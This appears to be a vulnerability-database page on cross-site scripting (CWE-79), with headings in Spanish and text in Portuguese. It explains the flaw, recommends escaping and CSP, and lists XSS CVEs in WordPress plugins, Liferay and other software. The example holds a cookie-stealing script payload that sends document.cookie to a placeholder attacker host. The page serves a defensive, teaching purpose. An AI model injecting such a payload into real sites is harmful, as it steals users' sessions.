Fallos del tipo CWE-79

30.495 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-68900MEDIUMWordPress Enfold theme <= 7.1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-48352MEDIUMWordPress Yandex Site search pinger plugin <= 1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-60101MEDIUMWordPress Woostify Theme <= 2.4.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-56451MEDIUMCross site scripting vulnerability in seeyon Zhiyuan A8+ Collaborative Management Software 7.0 via the topValue parameter to the seeyon/mainEPSS 0.2%CVE-2025-62240MEDIUMMultiple cross-site scripting (XSS) vulnerabilities with Calendar events in Liferay Portal 7.4.3.35 through 7.4.3.111, and Liferay DXP 2023.EPSS 0.2%CVE-2025-49392MEDIUMWordPress Themify Audio Dock Plugin <= 2.0.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-92826MEDIUMEWWW Image Optimizer <= 8.7.7 - Reflected Cross-Site Scripting via REQUEST_URI Parameter KeyEPSS 0.2%CVE-2026-2728MEDIUMLibreNMS versions before 26.3.0 are affected by an authenticated Cross-site Scripting vulnerability on the showconfig page. Successful exploEPSS 0.2%CVE-2025-24841MEDIUMMovable Type contains a stored cross-site scripting vulnerability in the HTML edit mode of MT Block Editor. It is exploitable when TinyMCE6 EPSS 0.2%CVE-2025-62899MEDIUMWordPress Photospace Responsive plugin <= 2.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-60154MEDIUMWordPress MWW Disclaimer Buttons plugin <= 3.41 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-60133MEDIUMWordPress PE Easy Slider Plugin <= 1.1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-57755MEDIUMWordPress Mosaic Gallery &#8211; Advanced Gallery plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-57373MEDIUMWordPress Funnel Kit Funnel Builder PRO plugin <= 3.15.0.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-0588MEDIUMXinhu Rainrock RockOA API rockfun.php cross site scriptingEPSS 0.2%CVE-2025-11950MEDIUMReflected XSS in Knowhy's EduAsistEPSS 0.2%CVE-2026-66703MEDIUMWordPress MailOptin plugin <= 1.2.78.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-65233MEDIUMReflected cross-site scripting (XSS) in SLiMS (slims9_bulian) before 9.6.0 via improper handling of $_SERVER['PHP_SELF' ] in index.php/syscoEPSS 0.2%CVE-2026-65480MEDIUMWordPress TheGem theme < 5.12.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-30084MEDIUMExtension - rsjoomla.com - Reflected XSS vulnerability RSMail! component 1.19.20-1.22.26 for JoomlaEPSS 0.2%